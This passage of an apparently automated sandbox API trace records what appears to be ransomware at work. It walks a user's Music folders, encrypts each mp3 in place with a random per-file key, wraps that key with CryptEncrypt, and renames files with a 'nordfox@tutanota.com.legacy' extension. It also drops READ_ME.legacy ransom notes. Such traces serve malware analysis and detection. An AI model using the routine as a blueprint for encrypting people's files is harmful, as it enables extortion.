lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.020] CloseHandle (hObject=0x790) returned 1 [0141.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0141.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0141.020] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\LoxgSUtg_5 XAv5n.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\loxgsutg_5 xav5n.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\LoxgSUtg_5 XAv5n.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\loxgsutg_5 xav5n.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0141.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611e58 | out: hHeap=0x520000) returned 1 [0141.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0141.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0141.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0141.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0141.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0141.022] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\9tqZQLmQhz6XzTLpn.mp3", dwFileAttributes=0x80) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x610d20 [0141.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563b70 [0141.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610d20 | out: hHeap=0x520000) returned 1 [0141.022] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\9tqZQLmQhz6XzTLpn.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\9tqzqlmqhz6xztlpn.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0141.023] GetFileSizeEx (in: hFile=0x790, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83631) returned 1 [0141.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x146af) returned 0x2e61f38 [0141.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x146af) returned 0x2e765f0 [0141.023] ReadFile (in: hFile=0x790, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x146af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x146af, lpOverlapped=0x0) returned 1 [0141.025] SetFilePointer (in: hFile=0x790, lDistanceToMove=-83631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.025] WriteFile (in: hFile=0x790, lpBuffer=0x2e765f0*, nNumberOfBytesToWrite=0x146af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e765f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x146af, lpOverlapped=0x0) returned 1 [0141.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e765f0 | out: hHeap=0x520000) returned 1 [0141.025] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x146af [0141.025] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.025] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.026] WriteFile (in: hFile=0x790, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.026] WriteFile (in: hFile=0x790, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.026] CloseHandle (hObject=0x790) returned 1 [0141.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0141.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0141.026] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\9tqZQLmQhz6XzTLpn.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\9tqzqlmqhz6xztlpn.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\9tqZQLmQhz6XzTLpn.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\9tqzqlmqhz6xztlpn.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b70 | out: hHeap=0x520000) returned 1 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0141.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5858a0 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0141.028] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67d49b40, ftCreationTime.dwHighDateTime=0x1d4cf10, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c718 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0141.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.028] GetLastError () returned 0x0 [0141.028] SetLastError (dwErrCode=0x0) [0141.028] GetLastError () returned 0x0 [0141.028] SetLastError (dwErrCode=0x0) [0141.029] GetLastError () returned 0x0 [0141.029] SetLastError (dwErrCode=0x0) [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610248 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610248 | out: hHeap=0x520000) returned 1 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0141.029] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67d49b40, ftCreationTime.dwHighDateTime=0x1d4cf10, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.029] GetLastError () returned 0x0 [0141.029] SetLastError (dwErrCode=0x0) [0141.029] GetLastError () returned 0x0 [0141.029] SetLastError (dwErrCode=0x0) [0141.029] GetLastError () returned 0x0 [0141.029] SetLastError (dwErrCode=0x0) [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0141.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c598 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c598 | out: hHeap=0x520000) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.030] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6192c40, ftCreationTime.dwHighDateTime=0x1d4cb8c, ftLastAccessTime.dwLowDateTime=0xd744600, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0xd744600, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x37a4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LdBSvmgEkdN.mp3", cAlternateFileName="LDBSVM~1.MP3")) returned 1 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0141.030] GetLastError () returned 0x0 [0141.030] SetLastError (dwErrCode=0x0) [0141.030] GetLastError () returned 0x0 [0141.030] SetLastError (dwErrCode=0x0) [0141.030] GetLastError () returned 0x0 [0141.030] SetLastError (dwErrCode=0x0) [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0141.030] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad30030, ftCreationTime.dwHighDateTime=0x1d4cbd9, ftLastAccessTime.dwLowDateTime=0x37593170, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0x37593170, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x18e54, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Mqpoo JB.mp3", cAlternateFileName="MQPOOJ~1.MP3")) returned 1 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.030] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0141.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0141.031] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x532258e0, ftCreationTime.dwHighDateTime=0x1d4d0cd, ftLastAccessTime.dwLowDateTime=0x98d510f0, ftLastAccessTime.dwHighDateTime=0x1d4d21a, ftLastWriteTime.dwLowDateTime=0x98d510f0, ftLastWriteTime.dwHighDateTime=0x1d4d21a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="QA3aPEDaWF84ExJu2a", cAlternateFileName="QA3APE~1")) returned 1 [0141.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.031] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] GetLastError () returned 0x0 [0141.031] SetLastError (dwErrCode=0x0) [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103b0 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0141.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0141.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611d30 [0141.032] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.032] GetLastError () returned 0x0 [0141.032] SetLastError (dwErrCode=0x0) [0141.032] GetLastError () returned 0x0 [0141.032] SetLastError (dwErrCode=0x0) [0141.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0141.032] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611d30 | out: hHeap=0x520000) returned 1 [0141.032] GetLastError () returned 0x0 [0141.032] SetLastError (dwErrCode=0x0) [0141.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d0b8 [0141.032] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\QA3aPEDaWF84ExJu2a\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\qa3apedawf84exju2a\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0141.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d0b8 | out: hHeap=0x520000) returned 1 [0141.033] WriteFile (in: hFile=0x794, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0141.034] CloseHandle (hObject=0x794) returned 1 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.034] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73c4943, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.034] GetLastError () returned 0x0 [0141.034] SetLastError (dwErrCode=0x0) [0141.034] GetLastError () returned 0x0 [0141.034] SetLastError (dwErrCode=0x0) [0141.034] GetLastError () returned 0x0 [0141.034] SetLastError (dwErrCode=0x0) [0141.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610180 [0141.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610180 | out: hHeap=0x520000) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x60c718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73c4943, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0141.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0141.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\Mqpoo JB.mp3", dwFileAttributes=0x80) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0141.035] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\Mqpoo JB.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\mqpoo jb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0141.035] GetFileSizeEx (in: hFile=0x794, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101972) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18e54) returned 0x2e61f38 [0141.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18e54) returned 0x2e7ad98 [0141.036] ReadFile (in: hFile=0x794, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x18e54, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x18e54, lpOverlapped=0x0) returned 1 [0141.037] SetFilePointer (in: hFile=0x794, lDistanceToMove=-101972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.037] WriteFile (in: hFile=0x794, lpBuffer=0x2e7ad98*, nNumberOfBytesToWrite=0x18e54, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e7ad98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18e54, lpOverlapped=0x0) returned 1 [0141.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e7ad98 | out: hHeap=0x520000) returned 1 [0141.039] SetFilePointer (in: hFile=0x794, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18e54 [0141.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.040] WriteFile (in: hFile=0x794, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.040] WriteFile (in: hFile=0x794, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.040] CloseHandle (hObject=0x794) returned 1 [0141.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0141.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.040] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\Mqpoo JB.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\mqpoo jb.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\Mqpoo JB.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\mqpoo jb.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0141.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0141.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0141.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0141.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0141.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, 